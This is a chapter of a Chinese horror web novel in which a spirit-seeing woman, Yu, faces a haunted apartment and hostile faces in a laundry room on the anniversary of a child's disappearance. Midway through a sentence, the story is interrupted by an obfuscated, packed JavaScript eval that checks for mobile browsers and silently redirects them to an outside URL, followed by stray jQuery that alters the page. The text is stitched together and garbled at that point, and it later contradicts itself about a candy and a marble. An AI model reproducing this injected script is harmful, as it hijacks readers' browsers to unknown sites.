清晨，悠被一种奇异的触感唤醒。
不是声音，也不是光亮——而是地板传来的脉动。
一下，又一下，缓慢而沉重，像是有什么巨大的东西正躺在地板下方，缓缓地呼吸。
她睁开眼，晨光尚未完全浸透窗帘。
七海已经醒了，正一动不动地躺着，眼睛盯着天花板，呼吸控制得异常平稳。
“七海海？”悠轻声问。
七海侧过头，晨光中他的蓝眼睛里有一种悠从未见过的锐利。
“地板在动。”他低声说，不是疑问，而是陈述。
悠的心脏猛地一跳。
他也感觉到了？
“可能是……楼下在搬东西？”她试着给出合理的解释。
七海坐起身，没有回答。
他赤脚踩在地板上，弯下腰，手掌平贴木地板，闭上眼睛。
这个动作持续了大约十秒，悠看见他的眉头越皱越紧。
然后他站起身，推了推眼镜：“我去做早餐。”
他的语气太平静了，平静得不正常。
悠看着他走出卧室的背影，心中涌起不安。
她自己也坐起身，赤脚踩在地板上。
木质地板传来异常的温度——不是冰冷，也不是温暖，而是一种黏腻的、仿佛有生命般的温热。
而且她能“看见”，在地板的木质纹理下面，有暗色的东西在缓慢流动，像血管里的血液。
悠深吸一口气，走向窗边。
拉开窗帘时，她注意到窗玻璃上布满了细密的水珠——不是外面的雾气，而是从玻璃内部渗出的。
水珠排列成奇异的图案，像某种古老的文字。
她擦掉那些水珠，看向窗外。
社区公园里，那架秋千正在无人推动的情况下，以完全规律的节奏前后摆动。
每一次摆动的幅度、速度都一模一样，精确得像钟摆。
而公园边缘的那些树，所有树冠都朝着同一个方向倾斜——朝着这栋公寓楼的方向。
悠拉上窗帘，转身走向客厅。
走廊墙壁上的挂钟，秒针正在倒着走。
不是错觉。
悠盯着看了整整一分钟——秒针确实在逆时针移动，而分针和时针保持着正常的顺时针。
两种相反方向的运动在同一个钟面上同时存在，却丝毫不显得矛盾，反而有一种诡异的和谐。
悠站在原地，静静地看着这一幕。
几秒后，秒针恢复正常，开始顺时针走动。
仿佛刚才的一切都是幻觉。
但她知道不是。
这个公寓，今天格外活跃。
上午九点，悠在书房工作，但无法集中精神。
墙壁上的金色轮廓比昨天更加清晰了。
现在不止能看到轮廓，甚至能分辨出细节——眼镜的轮廓，衬衫的领口，还有那只抬起的手，像是在做出某种防御或保护的姿态。
而且，悠能感觉到它在“注视”她。不是恶意的注视，而是一种关切的、担忧的注视。
她放下画笔，转过身，正对着那个轮廓。
“今天是特殊的日子，对吗？”她轻声问，“所以你才会这么活跃。”
轮廓没有回应，但金色光晕的脉动加快了。
“那个孩子……”悠继续说，“健太。今天和他有关，对吗？”
轮廓剧烈地波动起来，像是在点头，又像是在表达某种急切。
悠的心沉了下去。
她想起外婆告诉过她的一句话：“某些地点会在特定的日期‘苏醒’，因为那一天发生了无法被遗忘的事。”
今天是什么日子？
六月的第三个星期二。
2008年的这一天，那个叫健太的孩子在社区公园失踪，再也没有找到。
悠站起身，走向客厅。
电视柜旁的那块污渍，今天呈现出一种奇特的质感。
在悠的眼里，那个孩童阴影的轮廓变得异常清晰——清晰到能看见蜷缩的姿势，能分辨出头、手臂、膝盖的形态。
而且，它在哭。
不是真的哭声，但悠能“感觉”到那股悲伤——浓稠的，窒息的，绝望的悲伤。
像溺水的人最后看见的水面光亮，美丽而遥不可及。
悠蹲下身，伸出手，悬停在污渍上方。
“今天很难过，对吗？”她轻声说，“想回家，但是回不去。”
阴影剧烈地蠕动起来，颜色从墨蓝变成了近乎透明的浅蓝，然后又迅速转回深沉的墨黑。
它在痛苦，在挣扎。
悠从口袋里掏出一颗水果糖——草莓味的，用彩色糖纸包着。
她小心地将糖放在污渍旁边。
“这个给你。”她说，“虽然不是玩具，但是甜的。吃甜的东西，心情会好一点。”
阴影的蠕动慢慢平息下来。
颜色稳定在一种柔和的浅蓝，边缘轻轻波动，像是在点头。
悠站起身，走回书房。
但心却无法平静。
今天会出事。
她有这种预感。
下午两点，悠决定去洗衣服。
不是因为衣服脏了，而是因为一种奇怪的牵引——洗衣房在“呼唤”她。
不是声音的呼唤，而是一种更原始的感知，像磁铁对铁屑的吸引。
她抱着洗衣篮走出606室时，走廊里的空气变得异常粘稠。
每走一步都需要用力推开看不见的阻力，呼吸也变得困难。
走廊尽头的洗衣房门半掩着，从门缝里透出暗红色的光——不是灯光，而是一种更浑浊、更不祥的光。
悠推开门。
洗衣房里没有人，但四台洗衣机中的三台都在运转，发出沉重而杂乱的轰鸣声。
那声音不像机器运转，更像是什么东西在内部挣扎、撞击。
靠墙的那台烘干机也在运转——空转，里面什么都没有，但滚筒转动的速度快得异常，发出尖啸般的摩擦声。
悠将衣服放进唯一空着的洗衣机，倒入洗衣液，投币，启动。
然后她在墙边的塑料椅上坐下，拿出手机。
但她没有看手机。
她在观察。
墙壁的瓷砖缝隙里，暗红色的液体正缓慢渗出。
不是水，而是粘稠的、像血液一样的东西。
液体沿着墙壁流下，在地板上汇聚，然后开始向着她的方向蔓延。
天花板的角落里，那团灰雾状的东西今天膨胀了好几倍，几乎占据了整个角落。
在灰雾的中心，无数细小的面孔浮现又消失，像沸腾水面的气泡。
最让悠在意的是那面贴满了白色瓷砖的墙壁。
在普通人眼里，那只是普通的墙壁。
但在悠的眼里，墙壁内部有东西在移动——缓慢地，有规律地，像心跳一样搏动。
而且墙壁在“呼吸”。
每一块瓷砖都在微微起伏，缝隙一张一合，像是在呼吸。
悠站起身，走向那面墙。
在距离墙壁还有一米时，她停下了脚步。
因为墙壁上，一张人脸正在成形。
不是水渍或霉斑形成的巧合，而是真的从瓷砖内部“浮”出来的一张脸。
先是一个模糊的轮廓，然后五官
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154065|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逐渐清晰——眼睛、鼻子、嘴巴。
那是一张年轻女性的脸，表情扭曲，嘴巴大张，像是在无声地尖叫。
紧接着，第二张脸浮现。第三张。第四张。
很快，整面墙都布满了人脸。
它们重叠在一起，挤在一起，争抢着有限的空间。
有的在哭，有的在笑，有的只是空洞地睁着眼睛。
所有脸的眼睛，都转向了悠。
烘干机的尖啸声骤然停止。
洗衣房陷入一片死寂。
然后，悠听到了声音——不是从空气中传来，而是直接在她脑海里响起的、无数声音重叠的低语：
“饿……好饿……”
“留下……留下来……”
“给我们……吃……”
声音混乱而嘈杂，但其中有一个声音格外清晰——一个孩童的声音，稚嫩但充满恶意：
“姐姐……陪我玩……永远陪我玩……”
墙壁上的人脸开始从墙面上剥离。
不是比喻。
那些脸真的从瓷砖表面“凸”出来，像浮雕，然后继续向外延伸，拉伸，变成了一张张悬浮在空中的“脸皮”。
它们在空中缓缓旋转，所有空洞的眼睛都盯着悠。
暗红色的液体从墙壁缝隙里大量涌出，在地板上汇聚成一片血泊，向着悠的脚边蔓延。
洗衣房的门，“砰”的一声自己关上了。
悠回头看了一眼门，又转回头，看着那些悬浮的人脸。
她深吸一口气，站直身体。
“你们很痛苦，对吗？”她轻声说，声音在死寂的洗衣房里清晰可闻，“被困在这里，出不去，也得不到安宁。”
悬浮的人脸同时静止了。
“但你们找错人了。”悠继续说，声音平静，“我不是你们的食物。我也不是来陪你们玩的。”
她向前走了一步。
脚踩进暗红色的液体里，发出轻微的“啪嗒”声。
液体是温热的，像刚刚流出的血。
“如果你们愿意……”悠说，声音里带上了一丝奇特的“重量”，“可以告诉我你们的故事。我可以听。但你们必须停下来。”
她抬起头，黑色眼眸直视着最近的那张人脸。
那是一张中年男性的脸，脸上布满了痛苦和绝望。
在悠的注视下，那张脸的表情开始变化——痛苦慢慢褪去，转为一种茫然，然后是悲伤。
“……回不去……”那张脸的“嘴巴”开合，发出模糊的声音，“家……回不去……”
“我知道。”悠轻声说，“但强行留下别人，只会让你们更加痛苦。”
悬浮的人脸开始缓缓后退。
暗红色的液体停止了蔓延，开始倒流——真的是倒流，顺着原来的路径流回墙壁缝隙。
墙壁上浮现的人脸也慢慢缩回瓷砖内部，墙面逐渐恢复平整。
只有最初那张年轻女性的脸，还勉强维持着形状。
它看着悠，眼神里不再是贪婪，而是一种复杂的、近乎感激的情绪。
然后，它也消失了。
洗衣房恢复了正常。
只有那台烘干机还在微微发热，滚筒里有什么东西在滚动——不是衣物，而是一颗玻璃弹珠，正是悠放在客厅污渍旁边的那颗。
悠走过去，打开烘干机门，拿出那颗弹珠。
玻璃温热的，里面彩色螺旋纹路在灯光下闪闪发光。
她将弹珠放进口袋，拿起洗衣篮，走向门口。
门轻轻一拉就开了。
走廊里，灯光恢复正常。
但悠知道，事情还没结束。